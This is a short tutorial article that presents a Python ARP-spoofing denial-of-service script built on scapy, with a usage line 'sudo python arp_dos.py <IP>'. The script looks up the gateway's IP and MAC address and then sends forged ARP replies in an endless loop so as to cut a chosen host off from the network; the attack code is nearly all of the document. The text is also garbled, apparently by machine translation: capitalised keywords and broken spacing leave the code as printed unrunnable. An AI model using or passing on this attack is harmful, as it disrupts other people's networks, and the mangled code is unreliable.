This article mainly introduces the example of ARP attack code written in python. For more information, see Note: to use this script, you need to install the scapy package.
It is best to use it on the linux platform, because the scapy package always has various problems when installed on windows.
The code is as follows:
# Coding: UTF-8
# Example: sudo python arp_dos.py 192.168.1.103
From scapy. all import ARP, send
Import OS, re, sys
Def get_gateway_ip ():
T = OS. popen ('route-n ')
For I in t:
If I. startswith ('0. 0.0.0 '):
R = re. split ("\ s +", I)
Return r [1]
Def get_gateway_hw (ip ):
T = OS. popen ('arp-e % s' % ip)
For I in t:
If I. startswith (ip ):
R = re. split ("\ s +", I)
Return r [2]
Def hack (hackip ):
Ip = get_gateway_ip ()
Hw = get_gateway_hw (ip)
Arp = ARP (op = 2, pdst = ip, hwdst = hw, psrc = hackip)
# OS. popen ('ifconfig eth0 % s' % hackip)
While 1:
Send (arp)
Def help ():
Print ("USEAGE: sudo python arp_dos.py 192.168.1.100 ")
Def main ():
If len (sys. argv )! = 2:
Help ()
Else:
Hack (sys. argv [1])
If _ name __= = "_ main __":
Main ()